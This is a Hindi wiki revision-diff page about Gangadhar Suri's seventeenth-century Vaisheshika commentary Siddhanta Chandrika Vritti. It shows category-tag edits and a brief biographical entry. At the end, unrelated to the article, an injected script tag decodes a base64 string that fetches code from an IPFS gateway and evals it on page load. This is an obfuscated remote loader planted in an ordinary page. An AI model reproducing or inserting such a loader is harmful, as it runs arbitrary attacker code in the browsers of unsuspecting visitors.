"सिद्धान्त चन्द्रिकावृत्ति" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पन्ना: {{Menu}} {{वैशेषिक दर्शन}} ==गंगाधर सूरि रचित सिद्धान्त चन्द्रिका वृत्त...)
 
छो (Text replace - '[[श्रेणी:' to '[[category:')
पंक्ति ७: पंक्ति ७:
  
 
{{दर्शन शास्त्र}}
 
{{दर्शन शास्त्र}}
[[श्रेणी: कोश]]
+
[[category: कोश]]
 
[[Category:वैशेषिक दर्शन]]
 
[[Category:वैशेषिक दर्शन]]
[[श्रेणी: पौराणिक ग्रन्थ]]  
+
[[category: पौराणिक ग्रन्थ]]  
 
__INDEX__
 
__INDEX__

२२:४४, १५ फ़रवरी २०१० का अवतरण

गंगाधर सूरि रचित सिद्धान्त चन्द्रिका वृत्ति

  • बाधूल गोत्रोत्पन्न, देवसिंह मखि के पुत्र, विश्वरूपयति के शिष्य, भास्कर राय के गुरु तथा तञ्जाउर-अधीश शाह जी नृपति के समकालीन, गंगाधर वाजपेयी नाम से प्रसिद्ध, गंगाधर सूरि (1650 ई.) द्वारा सिद्धान्त चन्द्रिका नामक वृत्ति की रचना की गई।<balloon title="सिद्धान्तचन्द्रिकावृत्ति विरुवनन्तपुरम् पुस्तकमाला टी-एस-एस-25 में मुद्रित है" style=color:blue>*</balloon> इसकी एक व्याख्या प्रसादाख्या भी मूलकार के द्वारा रचित है।<balloon title="प्रसादाख्या व्याख्या की पाण्डुलिपि आड्यार पुस्तकालय तथा मद्रास राजकीय पुस्तकालय में उपलब्ध है" style=color:blue>*</balloon>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>